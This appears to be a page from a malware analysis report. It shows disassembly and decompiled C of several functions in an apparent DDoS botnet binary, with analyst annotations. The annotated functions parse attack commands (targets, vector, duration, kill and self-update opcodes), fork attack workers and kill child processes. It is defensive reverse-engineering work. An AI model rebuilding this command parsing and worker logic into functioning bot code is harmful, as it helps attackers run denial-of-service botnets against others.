00400a30	48 89 c1	MOV RCX,RAX
00400a33	48 c1 e8 06	SHR RAX,0x6
00400a37	48 d3 e2	SHL RDX,CL
00400a3a	8d 79 01	LEA EDI,[RCX + 0x1]
00400a3d	31 c9	XOR ECX,ECX
00400a3f	48 89 94 c4 60 01 00 00	MOV qword ptr [RSP + RAX*0x8 + 0x160],RDX
00400a47	31 d2	XOR EDX,EDX
00400a49	e8 4a b5 01 00	CALL FUN_0041bf98
00400a4e	85 c0	TEST EAX,EAX
00400a50	0f 8e c0 fe ff ff	JLE LAB_00400916
00400a56	48 63 05 c7 af 22 00	MOVSXD RAX,dword ptr [DAT_0062ba24]
00400a5d	48 89 c2	MOV RDX,RAX
00400a60	48 c1 e8 06	SHR RAX,0x6
00400a64	48 8b 84 c4 60 01 00 00	MOV RAX,qword ptr [RSP + RAX*0x8 + 0x160]
00400a6c	48 0f a3 d0	BT RAX,RDX
00400a70	0f 82 75 ff ff ff	JC LAB_004009eb
00400a76	e9 9b fe ff ff	JMP LAB_00400916
LAB_00400a7b:
00400a7b	0f 88 9f 00 00 00	JS LAB_00400b20
00400a81	ff c8	DEC EAX
00400a83	0f 85 8d fe ff ff	JNZ LAB_00400916
00400a89	80 3d 70 dc 22 00 00	CMP byte ptr [DAT_0062e700],0x0
00400a90	48 c7 05 dd e5 22 00 00 …	MOV qword ptr [DAT_0062f078],0x0
00400a9b	0f 84 75 fe ff ff	JZ LAB_00400916
00400aa1	bb 10 00 00 00	MOV EBX,0x10
00400aa6	4c 8d 74 24 30	LEA R14,[RSP + 0x30]
LAB_00400aab:
00400aab	8b 3d 73 af 22 00	MOV EDI,dword ptr [DAT_0062ba24]
00400ab1	4c 89 f1	MOV RCX,R14
00400ab4	ba 00 08 00 00	MOV EDX,0x800
00400ab9	48 89 ee	MOV RSI,RBP
00400abc	c7 44 24 30 00 00 00 00	MOV dword ptr [RSP + local_980],0x0
00400ac4	e8 92 16 01 00	CALL FUN_0041215b	; FUN_0041215b: unknown
00400ac9	ff c8	DEC EAX
00400acb	0f 85 45 fe ff ff	JNZ LAB_00400916
00400ad1	8b 74 24 30	MOV ESI,dword ptr [RSP + local_980]
00400ad5	48 89 ef	MOV RDI,RBP
00400ad8	e8 19 2e 01 00	CALL FUN_004138f6
00400add	ff cb	DEC EBX
00400adf	0f 84 31 fe ff ff	JZ LAB_00400916
00400ae5	eb c4	JMP LAB_00400aab
LAB_00400ae7:
00400ae7	e8 50 71 01 00	CALL FUN_00417c3c
00400aec	b9 00 40 00 00	MOV ECX,0x4000
00400af1	ba 00 04 00 00	MOV EDX,0x400
00400af6	48 89 ee	MOV RSI,RBP
00400af9	c7 00 00 00 00 00	MOV dword ptr [RAX],0x0
00400aff	8b 3d 1f af 22 00	MOV EDI,dword ptr [DAT_0062ba24]
00400b05	48 89 c3	MOV RBX,RAX
00400b08	e8 df a5 01 00	CALL FUN_0041b0ec
00400b0d	41 89 c6	MOV R14D,EAX
00400b10	85 c0	TEST EAX,EAX
00400b12	7f 13	JG LAB_00400b27
00400b14	8b 03	MOV EAX,dword ptr [RBX]
00400b16	83 f8 0b	CMP EAX,0xb
00400b19	74 2b	JZ LAB_00400b46
00400b1b	83 f8 04	CMP EAX,0x4
00400b1e	74 26	JZ LAB_00400b46
LAB_00400b20:
00400b20	e8 75 21 01 00	CALL FUN_00412c9a
00400b25	eb 1f	JMP LAB_00400b46
LAB_00400b27:
00400b27	89 c6	MOV ESI,EAX
00400b29	48 89 ef	MOV RDI,RBP
00400b2c	ba ed ff ea 0d	MOV EDX,0xdeaffed
00400b31	e8 2f cb 00 00	CALL FUN_0040d665
00400b36	44 89 f6	MOV ESI,R14D
00400b39	48 89 ef	MOV RDI,RBP
00400b3c	e8 b5 2d 01 00	CALL FUN_004138f6
00400b41	e9 d0 fd ff ff	JMP LAB_00400916
LAB_00400b46:
00400b46	44 89 eb	MOV EBX,R13D
LAB_00400b49:
00400b49	41 89 dd	MOV R13D,EBX
00400b4c	e9 c5 fd ff ff	JMP LAB_00400916
LAB_00400b51:
00400b51	8b 3d cd ae 22 00	MOV EDI,dword ptr [DAT_0062ba24]
00400b57	e8 e5 cf 01 00	CALL FUN_0041db41
00400b5c	c7 05 be ae 22 00 ff ff …	MOV dword ptr [DAT_0062ba24],0xffffffff
00400b66	e9 e5 fa ff ff	JMP LAB_00400650
LAB_00400b6b:
00400b6b	48 81 c4 68 09 00 00	ADD RSP,0x968
00400b72	31 c0	XOR EAX,EAX
00400b74	5b	POP RBX
00400b75	5d	POP RBP
00400b76	41 5c	POP R12
00400b78	41 5d	POP R13
00400b7a	41 5e	POP R14
00400b7c	41 5f	POP R15
00400b7e	c3	RET

kills every tracked child pid except…

0x400cd784 bytes

undefined FUN_00400cd7()

kills every tracked child pid except itself and its worker

Cited as: E6
Behaviours: B5, B8, B9
Called from: FUN_00400f7d
Calls: FUN_004157a1, FUN_0041c083, FUN_0041dc97

Decompiled C · 20 lines

undefined8 FUN_00400cd7(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
  int iVar1;
  int iVar2;
  int iVar3;
  long lVar4;
  
  iVar2 = FUN_0041dc97();
  iVar3 = FUN_004157a1();
  for (lVar4 = 0; (int)lVar4 < DAT_0062fe28; lVar4 = lVar4 + 1) {
    iVar1 = (&DAT_0062fe40)[lVar4];
    if (((0 < iVar1) && (iVar2 != iVar1)) && ((iVar3 < 1 || (iVar3 != iVar1)))) {
      FUN_0041c083(iVar1,9);
    }
  }
  return param_3;
}

Assembly · 32 instructions, 0 annotated

Address	Bytes	Instruction
00400cd7	41 55	PUSH R13
00400cd9	4c 8d 2d 60 f1 22 00	LEA R13,[DAT_0062fe40]
00400ce0	41 54	PUSH R12
00400ce2	55	PUSH RBP
00400ce3	53	PUSH RBX
00400ce4	31 db	XOR EBX,EBX
00400ce6	52	PUSH RDX
00400ce7	e8 ab cf 01 00	CALL FUN_0041dc97
00400cec	41 89 c4	MOV R12D,EAX
00400cef	e8 ad 4a 01 00	CALL FUN_004157a1
00400cf4	89 c5	MOV EBP,EAX
LAB_00400cf6:
00400cf6	39 1d 2c f1 22 00	CMP dword ptr [DAT_0062fe28],EBX
00400cfc	7e 25	JLE LAB_00400d23
00400cfe	41 8b 7c 9d 00	MOV EDI,dword ptr [R13 + RBX*0x4]
00400d03	85 ff	TEST EDI,EDI
00400d05	7e 17	JLE LAB_00400d1e
00400d07	41 39 fc	CMP R12D,EDI
00400d0a	74 12	JZ LAB_00400d1e
00400d0c	85 ed	TEST EBP,EBP
00400d0e	7e 04	JLE LAB_00400d14
00400d10	39 fd	CMP EBP,EDI
00400d12	74 0a	JZ LAB_00400d1e
LAB_00400d14:
00400d14	be 09 00 00 00	MOV ESI,0x9
00400d19	e8 65 b3 01 00	CALL FUN_0041c083
LAB_00400d1e:
00400d1e	48 ff c3	INC RBX
00400d21	eb d3	JMP LAB_00400cf6
LAB_00400d23:
00400d23	58	POP RAX
00400d24	5b	POP RBX
00400d25	5d	POP RBP
00400d26	41 5c	POP R12
00400d28	41 5d	POP R13
00400d2a	c3	RET

forks the attack worker and calls the…

0x400d2b594 bytes

undefined FUN_00400d2b()

forks the attack worker and calls the vector from the method table

Cited as: E7
Behaviours: B8
Called from: FUN_00400f7d
Calls: FUN_004001d0, FUN_00400c9d, FUN_004081c0, FUN_004157a8, FUN_00417f10, thunk_FUN_004183e7, FUN_0041bdde, FUN_0041c083, FUN_0041cf00, FUN_0041dc97, FUN_0041dc9f, FUN_0041dd63

Decompiled C · 118 lines

void FUN_00400d2b(undefined4 param_1,char param_2,byte param_3,undefined1 *param_4,ulong param_5,
                 long param_6)

{
  undefined1 uVar1;
  int iVar2;
  undefined4 uVar3;
  undefined1 *puVar4;
  long lVar5;
  undefined1 *puVar6;
  long lVar7;
  char *pcVar8;
  uint uVar9;
  undefined1 *puVar10;
  ulong uVar11;
  byte bVar12;
  
  bVar12 = 0;
  param_5 = param_5 & 0xffffffff;
  iVar2 = FUN_0041bdde();
  if (iVar2 == -1) {
    return;
  }
  if (0 < iVar2) {
    FUN_004157a8();
    return;
  }
  iVar2 = FUN_0041bdde(iVar2);
  if (iVar2 != -1) {
    if (iVar2 != 0) goto LAB_00400dac;
    uVar3 = FUN_0041dc97();
    FUN_004157a8(uVar3);
    FUN_0041dd63(param_1);
    uVar3 = FUN_0041dc9f();
    FUN_0041c083(uVar3,9);
  }
LAB_00400da5:
  while( true ) {
    FUN_004001d0(0);
LAB_00400dac:
    uVar11 = param_5 & 0xff;
    uVar3 = FUN_0041dc97();
    FUN_004157a8(uVar3);
    FUN_004157a8();
    if ((param_3 != 0) && (param_4 != (undefined1 *)0x0)) break;
LAB_00400f5f:
    puVar4 = (undefined1 *)0x0;
    if ((char)param_5 != '\0') {
LAB_00400e16:
      param_4 = (undefined1 *)FUN_00417f10(param_5 & 0xff,0x10);
      if (param_4 != (undefined1 *)0x0) {
        lVar7 = 8;
        param_5 = 0;
LAB_00400e36:
        uVar1 = *(undefined1 *)(param_6 + -8 + lVar7);
        puVar10 = *(undefined1 **)(param_6 + lVar7);
        *(undefined8 *)(param_4 + lVar7) = 0;
        param_4[lVar7 + -8] = uVar1;
        if (puVar10 == (undefined1 *)0x0) goto LAB_00400ec5;
        lVar5 = FUN_0041cf00(puVar10);
        lVar5 = lVar5 + 1;
        puVar6 = (undefined1 *)FUN_00417f10(lVar5,1);
        *(undefined1 **)(param_4 + lVar7) = puVar6;
        if (puVar6 != (undefined1 *)0x0) {
          for (; lVar5 != 0; lVar5 = lVar5 + -1) {
            *puVar6 = *puVar10;
            puVar10 = puVar10 + (ulong)bVar12 * -2 + 1;
            puVar6 = puVar6 + (ulong)bVar12 * -2 + 1;
          }
          goto LAB_00400ec5;
        }
        for (param_5 = (ulong)(int)param_5; 0 < (int)param_5; param_5 = param_5 - 1) {
          thunk_FUN_004183e7(*(undefined8 *)(param_4 + param_5 * 0x10 + -8));
        }
        thunk_FUN_004183e7();
      }
      if (puVar4 != (undefined1 *)0x0) {
        thunk_FUN_004183e7();
      }
    }
  }
  puVar4 = (undefined1 *)FUN_00417f10((ulong)param_3,0x18);
  if (puVar4 == (undefined1 *)0x0) goto LAB_00400f5f;
  puVar10 = puVar4;
  for (lVar7 = (ulong)param_3 * 0x18; lVar7 != 0; lVar7 = lVar7 + -1) {
    *puVar10 = *param_4;
    param_4 = param_4 + (ulong)bVar12 * -2 + 1;
    puVar10 = puVar10 + (ulong)bVar12 * -2 + 1;
  }
  if ((char)param_5 != '\0') goto LAB_00400e16;
  param_4 = (undefined1 *)0x0;
  goto LAB_00400ed9;
LAB_00400ec5:
  uVar9 = (int)param_5 + 1;
  param_5 = (ulong)uVar9;
  lVar7 = lVar7 + 0x10;
  if ((int)uVar11 <= (int)uVar9) goto LAB_00400f3e;
  goto LAB_00400e36;
LAB_00400f3e:
  if (puVar4 != (undefined1 *)0x0) {
LAB_00400ed9:
    pcVar8 = &DAT_0062b000;
    for (iVar2 = 0; iVar2 < (int)(uint)DAT_0062b180; iVar2 = iVar2 + 1) {
      if (param_2 == *pcVar8) {
        (*(code *)(&PTR_FUN_0062b008)[(long)iVar2 * 2])(param_3,puVar4,uVar11,param_4);
        break;
      }
      pcVar8 = pcVar8 + 0x10;
    }
    thunk_FUN_004183e7();
    if (param_4 != (undefined1 *)0x0) {
      FUN_00400c9d(param_4,uVar11);
    }
  }
  goto LAB_00400da5;
}

Assembly · 167 instructions, 1 annotated

Address	Bytes	Instruction	Comment
00400d2b	41 57	PUSH R15
00400d2d	41 56	PUSH R14
00400d2f	4d 89 ce	MOV R14,R9
00400d32	41 55	PUSH R13
00400d34	49 89 cd	MOV R13,RCX
00400d37	41 54	PUSH R12
00400d39	41 89 d4	MOV R12D,EDX
00400d3c	55	PUSH RBP
00400d3d	89 fd	MOV EBP,EDI
00400d3f	53	PUSH RBX
00400d40	44 89 c3	MOV EBX,R8D
00400d43	48 83 ec 28	SUB RSP,0x28
00400d47	40 88 74 24 07	MOV byte ptr [RSP + local_51],SIL
00400d4c	e8 8d b0 01 00	CALL FUN_0041bdde
00400d51	83 f8 ff	CMP EAX,-0x1
00400d54	0f 84 14 02 00 00	JZ LAB_00400f6e
00400d5a	89 c7	MOV EDI,EAX
00400d5c	85 c0	TEST EAX,EAX
00400d5e	7e 13	JLE LAB_00400d73
00400d60	48 83 c4 28	ADD RSP,0x28
00400d64	5b	POP RBX
00400d65	5d	POP RBP
00400d66	41 5c	POP R12
00400d68	41 5d	POP R13
00400d6a	41 5e	POP R14
00400d6c	41 5f	POP R15
00400d6e	e9 35 4a 01 00	JMP FUN_004157a8
LAB_00400d73:
00400d73	e8 66 b0 01 00	CALL FUN_0041bdde
00400d78	83 f8 ff	CMP EAX,-0x1
00400d7b	74 28	JZ LAB_00400da5
00400d7d	85 c0	TEST EAX,EAX
00400d7f	75 2b	JNZ LAB_00400dac
00400d81	e8 11 cf 01 00	CALL FUN_0041dc97
00400d86	89 c7	MOV EDI,EAX
00400d88	e8 1b 4a 01 00	CALL FUN_004157a8
00400d8d	89 ef	MOV EDI,EBP
00400d8f	e8 cf cf 01 00	CALL FUN_0041dd63
00400d94	e8 06 cf 01 00	CALL FUN_0041dc9f
00400d99	be 09 00 00 00	MOV ESI,0x9
00400d9e	89 c7	MOV EDI,EAX
00400da0	e8 de b2 01 00	CALL FUN_0041c083
LAB_00400da5:
00400da5	31 ff	XOR EDI,EDI
00400da7	e8 24 f4 ff ff	CALL FUN_004001d0	; FUN_004001d0: unknown
LAB_00400dac:
00400dac	89 44 24 08	MOV dword ptr [RSP + local_50],EAX
00400db0	44 0f b6 fb	MOVZX R15D,BL
00400db4	e8 de ce 01 00	CALL FUN_0041dc97
00400db9	89 c7	MOV EDI,EAX
00400dbb	e8 e8 49 01 00	CALL FUN_004157a8
00400dc0	8b 7c 24 08	MOV EDI,dword ptr [RSP + local_50]
00400dc4	e8 df 49 01 00	CALL FUN_004157a8
00400dc9	45 84 e4	TEST R12B,R12B
00400dcc	0f 84 8d 01 00 00	JZ LAB_00400f5f
00400dd2	4d 85 ed	TEST R13,R13
00400dd5	0f 84 84 01 00 00	JZ LAB_00400f5f
00400ddb	41 0f b6 cc	MOVZX ECX,R12B
00400ddf	be 18 00 00 00	MOV ESI,0x18
00400de4	48 89 cf	MOV RDI,RCX
00400de7	48 89 4c 24 08	MOV qword ptr [RSP + local_50],RCX
00400dec	e8 1f 71 01 00	CALL FUN_00417f10
00400df1	48 89 c5	MOV RBP,RAX
00400df4	48 85 c0	TEST RAX,RAX
00400df7	0f 84 62 01 00 00	JZ LAB_00400f5f
00400dfd	48 8b 4c 24 08	MOV RCX,qword ptr [RSP + local_50]
00400e02	48 89 c7	MOV RDI,RAX
00400e05	4c 89 ee	MOV RSI,R13
00400e08	48 6b c9 18	IMUL RCX,RCX,0x18
00400e0c	f3 a4	MOVSB.REP RDI,RSI
00400e0e	84 db	TEST BL,BL
00400e10	0f 84 c0 00 00 00	JZ LAB_00400ed6
LAB_00400e16:
00400e16	0f b6 fb	MOVZX EDI,BL
00400e19	be 10 00 00 00	MOV ESI,0x10
00400e1e	e8 ed 70 01 00	CALL FUN_00417f10
00400e23	49 89 c5	MOV R13,RAX
00400e26	48 85 c0	TEST RAX,RAX
00400e29	0f 84 1a 01 00 00	JZ LAB_00400f49
00400e2f	ba 08 00 00 00	MOV EDX,0x8
00400e34	31 db	XOR EBX,EBX
LAB_00400e36:
00400e36	41 8a 44 16 f8	MOV AL,byte ptr [R14 + RDX*0x1 + -0x8]
00400e3b	4d 8b 04 16	MOV R8,qword ptr [R14 + RDX*0x1]
00400e3f	49 c7 44 15 00 00 00 00 …	MOV qword ptr [R13 + RDX*0x1],0x0
00400e48	41 88 44 15 f8	MOV byte ptr [R13 + RDX*0x1 + -0x8],AL
00400e4d	4d 85 c0	TEST R8,R8
00400e50	74 73	JZ LAB_00400ec5
00400e52	4c 89 c7	MOV RDI,R8
00400e55	48 89 54 24 18	MOV qword ptr [RSP + local_40],RDX
00400e5a	4c 89 44 24 10	MOV qword ptr [RSP + local_48],R8
00400e5f	e8 9c c0 01 00	CALL FUN_0041cf00
00400e64	be 01 00 00 00	MOV ESI,0x1
00400e69	48 8d 48 01	LEA RCX,[RAX + 0x1]
00400e6d	48 89 cf	MOV RDI,RCX
00400e70	48 89 4c 24 08	MOV qword ptr [RSP + local_50],RCX
00400e75	e8 96 70 01 00	CALL FUN_00417f10
00400e7a	48 8b 54 24 18	MOV RDX,qword ptr [RSP + local_40]
00400e7f	48 8b 4c 24 08	MOV RCX,qword ptr [RSP + local_50]
00400e84	48 85 c0	TEST RAX,RAX
00400e87	4c 8b 44 24 10	MOV R8,qword ptr [RSP + local_48]
00400e8c	49 89 44 15 00	MOV qword ptr [R13 + RDX*0x1],RAX
00400e91	75 2a	JNZ LAB_00400ebd
00400e93	48 63 db	MOVSXD RBX,EBX
LAB_00400e96:
00400e96	85 db	TEST EBX,EBX
00400e98	7e 16	JLE LAB_00400eb0
00400e9a	48 89 d8	MOV RAX,RBX
00400e9d	48 ff cb	DEC RBX
00400ea0	48 c1 e0 04	SHL RAX,0x4
00400ea4	49 8b 7c 05 f8	MOV RDI,qword ptr [R13 + RAX*0x1 + -0x8]
00400ea9	e8 52 71 01 00	CALL thunk_FUN_004183e7
00400eae	eb e6	JMP LAB_00400e96
LAB_00400eb0:
00400eb0	4c 89 ef	MOV RDI,R13
00400eb3	e8 48 71 01 00	CALL thunk_FUN_004183e7
00400eb8	e9 8c 00 00 00	JMP LAB_00400f49
LAB_00400ebd:
00400ebd	48 89 c7	MOV RDI,RAX
00400ec0	4c 89 c6	MOV RSI,R8
00400ec3	f3 a4	MOVSB.REP RDI,RSI
LAB_00400ec5:
00400ec5	ff c3	INC EBX
00400ec7	48 83 c2 10	ADD RDX,0x10
00400ecb	41 39 df	CMP R15D,EBX
00400ece	0f 8f 62 ff ff ff	JG LAB_00400e36
00400ed4	eb 68	JMP LAB_00400f3e
LAB_00400ed6:
00400ed6	45 31 ed	XOR R13D,R13D
LAB_00400ed9:
00400ed9	48 8d 15 20 a1 22 00	LEA RDX,[DAT_0062b000]
00400ee0	0f b6 0d 99 a2 22 00	MOVZX ECX,byte ptr [DAT_0062b180]
00400ee7	31 c0	XOR EAX,EAX
00400ee9	49 89 d0	MOV R8,RDX
LAB_00400eec:
00400eec	39 c8	CMP EAX,ECX
00400eee	7d 2d	JGE LAB_00400f1d
00400ef0	48 83 c2 10	ADD RDX,0x10
00400ef4	40 8a 74 24 07	MOV SIL,byte ptr [RSP + local_51]
00400ef9	40 3a 72 f0	CMP SIL,byte ptr [RDX + -0x10]
00400efd	75 1a	JNZ LAB_00400f19
00400eff	48 98	CDQE
00400f01	41 0f b6 fc	MOVZX EDI,R12B
00400f05	4c 89 e9	MOV RCX,R13
00400f08	44 89 fa	MOV EDX,R15D
00400f0b	48 c1 e0 04	SHL RAX,0x4
00400f0f	48 89 ee	MOV RSI,RBP
00400f12	41 ff 54 00 08	CALL qword ptr [R8 + RAX*0x1 + 0x8]
00400f17	eb 04	JMP LAB_00400f1d
LAB_00400f19:
00400f19	ff c0	INC EAX
00400f1b	eb cf	JMP LAB_00400eec
LAB_00400f1d:
00400f1d	48 89 ef	MOV RDI,RBP
00400f20	e8 db 70 01 00	CALL thunk_FUN_004183e7
00400f25	4d 85 ed	TEST R13,R13
00400f28	0f 84 77 fe ff ff	JZ LAB_00400da5
00400f2e	44 89 fe	MOV ESI,R15D
00400f31	4c 89 ef	MOV RDI,R13
00400f34	e8 64 fd ff ff	CALL FUN_00400c9d
00400f39	e9 67 fe ff ff	JMP LAB_00400da5
LAB_00400f3e:
00400f3e	48 85 ed	TEST RBP,RBP
00400f41	0f 84 5e fe ff ff	JZ LAB_00400da5
00400f47	eb 90	JMP LAB_00400ed9
LAB_00400f49:
00400f49	48 85 ed	TEST RBP,RBP
00400f4c	0f 84 53 fe ff ff	JZ LAB_00400da5
00400f52	48 89 ef	MOV RDI,RBP
00400f55	e8 a6 70 01 00	CALL thunk_FUN_004183e7
00400f5a	e9 46 fe ff ff	JMP LAB_00400da5
LAB_00400f5f:
00400f5f	31 ed	XOR EBP,EBP
00400f61	84 db	TEST BL,BL
00400f63	0f 85 ad fe ff ff	JNZ LAB_00400e16
00400f69	e9 37 fe ff ff	JMP LAB_00400da5
LAB_00400f6e:
00400f6e	48 83 c4 28	ADD RSP,0x28
00400f72	5b	POP RBX
00400f73	5d	POP RBP
00400f74	41 5c	POP R12
00400f76	41 5d	POP R13
00400f78	41 5e	POP R14
00400f7a	41 5f	POP R15
00400f7c	c3	RET

parses an attack command

0x400f7d644 bytes

undefined FUN_00400f7d()

parses an attack command (duration, vector, targets, options); 0xff kills children, 0xfe self-updates

Cited as: E6
Behaviours: B5, B8, B9
Called from: FUN_004138f6
Calls: FUN_00400c9d, FUN_00400cd7, FUN_00400d2b, FUN_0040c527, FUN_0040d13d, FUN_00417c3c, FUN_00417f10, thunk_FUN_004183e7, FUN_0041b0e2

Decompiled C · 120 lines

void FUN_00400f7d(long param_1,uint param_2)

{
  char cVar1;
  byte bVar2;
  undefined1 uVar3;
  int iVar4;
  undefined4 *puVar5;
  byte *pbVar6;
  undefined4 *puVar7;
  long lVar8;
  byte *pbVar9;
  ulong uVar10;
  long lVar11;
  int iVar12;
  byte unaff_R12B;
  uint uVar13;
  byte bVar14;
  undefined4 local_3c [3];
  
  bVar14 = 0;
  if (param_2 < 4) {
    return;
  }
  FUN_0040d13d(local_3c,param_1,4);
  iVar4 = FUN_0041b0e2(local_3c[0]);
  if (param_2 == 4) {
    return;
  }
  cVar1 = *(char *)(param_1 + 4);
  if ((cVar1 == -1) && (iVar4 == 0)) {
    FUN_00400cd7();
    return;
  }
  if ((cVar1 == -2) && (iVar4 == 0)) {
    FUN_0040c527();
    return;
  }
  if (param_2 == 5) {
    return;
  }
  bVar2 = *(byte *)(param_1 + 5);
  if (bVar2 == 0) {
    return;
  }
  uVar10 = (ulong)bVar2 * 5;
  if ((ulong)(long)(int)(param_2 - 6) < uVar10) {
    return;
  }
  puVar5 = (undefined4 *)FUN_00417f10((ulong)bVar2,0x18);
  puVar7 = puVar5;
  lVar8 = param_1 + 6;
  for (iVar12 = 0; uVar13 = (uint)bVar2, iVar12 < (int)uVar13; iVar12 = iVar12 + 1) {
    FUN_0040d13d(puVar7,lVar8,4);
    uVar3 = *(undefined1 *)(lVar8 + 4);
    *(undefined2 *)(puVar7 + 2) = 2;
    lVar8 = lVar8 + 5;
    *(undefined1 *)(puVar7 + 1) = uVar3;
    puVar7[3] = *puVar7;
    puVar7 = puVar7 + 6;
  }
  pbVar9 = (byte *)(param_1 + 6 + uVar10);
  iVar12 = uVar13 * -5 + (param_2 - 6);
  if (iVar12 == 0) {
    lVar8 = 0;
    if (puVar5 == (undefined4 *)0x0) {
      return;
    }
  }
  else {
    unaff_R12B = *pbVar9;
    if (unaff_R12B == 0) {
      lVar8 = 0;
    }
    else {
      pbVar9 = pbVar9 + 1;
      iVar12 = iVar12 + -1;
      lVar8 = FUN_00417f10(unaff_R12B,0x10);
      lVar11 = 0;
      do {
        if (iVar12 == 0) goto LAB_004011b4;
        *(byte *)(lVar8 + lVar11 * 0x10) = *pbVar9;
        if (iVar12 == 1) {
LAB_004011ea:
          if (puVar5 != (undefined4 *)0x0) goto LAB_004011b9;
          goto LAB_004011c6;
        }
        bVar2 = pbVar9[1];
        if (iVar12 + -2 < (int)(uint)bVar2) goto LAB_004011ea;
        pbVar6 = (byte *)FUN_00417f10(bVar2 + 1,1);
        *(byte **)(lVar8 + 8 + lVar11 * 0x10) = pbVar6;
        if (pbVar6 == (byte *)0x0) goto LAB_004011ea;
        pbVar9 = pbVar9 + 2;
        for (uVar10 = (ulong)bVar2; uVar10 != 0; uVar10 = uVar10 - 1) {
          *pbVar6 = *pbVar9;
          pbVar9 = pbVar9 + (ulong)bVar14 * -2 + 1;
          pbVar6 = pbVar6 + (ulong)bVar14 * -2 + 1;
        }
        iVar12 = (iVar12 + -2) - (uint)bVar2;
        lVar11 = lVar11 + 1;
      } while ((int)lVar11 < (int)(uint)unaff_R12B);
    }
    puVar7 = (undefined4 *)FUN_00417c3c();
    *puVar7 = 0;
    FUN_00400d2b(iVar4,cVar1,uVar13,puVar5,unaff_R12B,lVar8);
LAB_004011b4:
    if (puVar5 == (undefined4 *)0x0) goto LAB_004011c1;
  }
LAB_004011b9:
  thunk_FUN_004183e7(puVar5);
LAB_004011c1:
  if (lVar8 == 0) {
    return;
  }
LAB_004011c6:
  FUN_00400c9d(lVar8,unaff_R12B);
  return;
}

Assembly · 186 instructions, 0 annotated

Address	Bytes	Instruction
00400f7d	83 fe 03	CMP ESI,0x3
00400f80	0f 86 7a 02 00 00	JBE LAB_00401200
00400f86	41 57	PUSH R15
00400f88	ba 04 00 00 00	MOV EDX,0x4
00400f8d	41 56	PUSH R14
00400f8f	41 55	PUSH R13
00400f91	41 54	PUSH R12
00400f93	55	PUSH RBP
00400f94	89 f5	MOV EBP,ESI
00400f96	53	PUSH RBX
00400f97	48 89 fb	MOV RBX,RDI
00400f9a	48 89 de	MOV RSI,RBX
00400f9d	48 83 ec 58	SUB RSP,0x58
00400fa1	48 8d 7c 24 4c	LEA RDI,[RSP + 0x4c]
00400fa6	e8 92 c1 00 00	CALL FUN_0040d13d
00400fab	8b 7c 24 4c	MOV EDI,dword ptr [RSP + local_3c]
00400faf	e8 2e a1 01 00	CALL FUN_0041b0e2
00400fb4	41 89 c6	MOV R14D,EAX
00400fb7	83 fd 04	CMP EBP,0x4
00400fba	0f 84 31 02 00 00	JZ LAB_004011f1
00400fc0	8a 43 04	MOV AL,byte ptr [RBX + 0x4]
00400fc3	45 85 f6	TEST R14D,R14D
00400fc6	88 44 24 0f	MOV byte ptr [RSP + local_79],AL
00400fca	0f 94 c0	SETZ AL
00400fcd	80 7c 24 0f ff	CMP byte ptr [RSP + local_79],0xff
00400fd2	75 17	JNZ LAB_00400feb
00400fd4	84 c0	TEST AL,AL
00400fd6	74 13	JZ LAB_00400feb
00400fd8	48 83 c4 58	ADD RSP,0x58
00400fdc	5b	POP RBX
00400fdd	5d	POP RBP
00400fde	41 5c	POP R12
00400fe0	41 5d	POP R13
00400fe2	41 5e	POP R14
00400fe4	41 5f	POP R15
00400fe6	e9 ec fc ff ff	JMP FUN_00400cd7
LAB_00400feb:
00400feb	80 7c 24 0f fe	CMP byte ptr [RSP + local_79],0xfe
00400ff0	75 17	JNZ LAB_00401009
00400ff2	84 c0	TEST AL,AL
00400ff4	74 13	JZ LAB_00401009
00400ff6	48 83 c4 58	ADD RSP,0x58
00400ffa	5b	POP RBX
00400ffb	5d	POP RBP
00400ffc	41 5c	POP R12
00400ffe	41 5d	POP R13
00401000	41 5e	POP R14
00401002	41 5f	POP R15
00401004	e9 1e b5 00 00	JMP FUN_0040c527
LAB_00401009:
00401009	83 fd 05	CMP EBP,0x5
0040100c	0f 84 df 01 00 00	JZ LAB_004011f1
00401012	44 0f b6 6b 05	MOVZX R13D,byte ptr [RBX + 0x5]
00401017	45 84 ed	TEST R13B,R13B
0040101a	0f 84 d1 01 00 00	JZ LAB_004011f1
00401020	8d 45 fa	LEA EAX,[RBP + -0x6]
00401023	41 0f b6 fd	MOVZX EDI,R13B
00401027	89 44 24 10	MOV dword ptr [RSP + local_78],EAX
0040102b	4c 8d 3c bf	LEA R15,[RDI + RDI*0x4]
0040102f	48 98	CDQE
00401031	4c 39 f8	CMP RAX,R15
00401034	0f 82 b7 01 00 00	JC LAB_004011f1
0040103a	48 8d 43 06	LEA RAX,[RBX + 0x6]
0040103e	be 18 00 00 00	MOV ESI,0x18
00401043	31 db	XOR EBX,EBX
00401045	48 89 44 24 18	MOV qword ptr [RSP + local_70],RAX
0040104a	e8 c1 6e 01 00	CALL FUN_00417f10
0040104f	48 8b 4c 24 18	MOV RCX,qword ptr [RSP + local_70]
00401054	48 89 c5	MOV RBP,RAX
LAB_00401057:
00401057	41 39 dd	CMP R13D,EBX
0040105a	7e 42	JLE LAB_0040109e
0040105c	ba 04 00 00 00	MOV EDX,0x4
00401061	48 89 ce	MOV RSI,RCX
00401064	48 89 c7	MOV RDI,RAX
00401067	48 89 4c 24 28	MOV qword ptr [RSP + local_60],RCX
0040106c	48 89 44 24 20	MOV qword ptr [RSP + local_68],RAX
00401071	ff c3	INC EBX
00401073	e8 c5 c0 00 00	CALL FUN_0040d13d
00401078	48 8b 4c 24 28	MOV RCX,qword ptr [RSP + local_60]
0040107d	48 8b 44 24 20	MOV RAX,qword ptr [RSP + local_68]
00401082	8a 51 04	MOV DL,byte ptr [RCX + 0x4]
00401085	66 c7 40 08 02 00	MOV word ptr [RAX + 0x8],0x2
0040108b	48 83 c1 05	ADD RCX,0x5
0040108f	48 83 c0 18	ADD RAX,0x18
00401093	88 50 ec	MOV byte ptr [RAX + -0x14],DL
00401096	8b 50 e8	MOV EDX,dword ptr [RAX + -0x18]
00401099	89 50 f4	MOV dword ptr [RAX + -0xc],EDX
0040109c	eb b9	JMP LAB_00401057
LAB_0040109e:
0040109e	48 8b 4c 24 18	MOV RCX,qword ptr [RSP + local_70]
004010a3	41 6b dd fb	IMUL EBX,R13D,-0x5
004010a7	4c 01 f9	ADD RCX,R15
004010aa	03 5c 24 10	ADD EBX,dword ptr [RSP + local_78]
004010ae	0f 84 2c 01 00 00	JZ LAB_004011e0
004010b4	44 8a 21	MOV R12B,byte ptr [RCX]
004010b7	45 84 e4	TEST R12B,R12B
004010ba	0f 84 cc 00 00 00	JZ LAB_0040118c
004010c0	48 ff c1	INC RCX
004010c3	41 0f b6 fc	MOVZX EDI,R12B
004010c7	be 10 00 00 00	MOV ESI,0x10
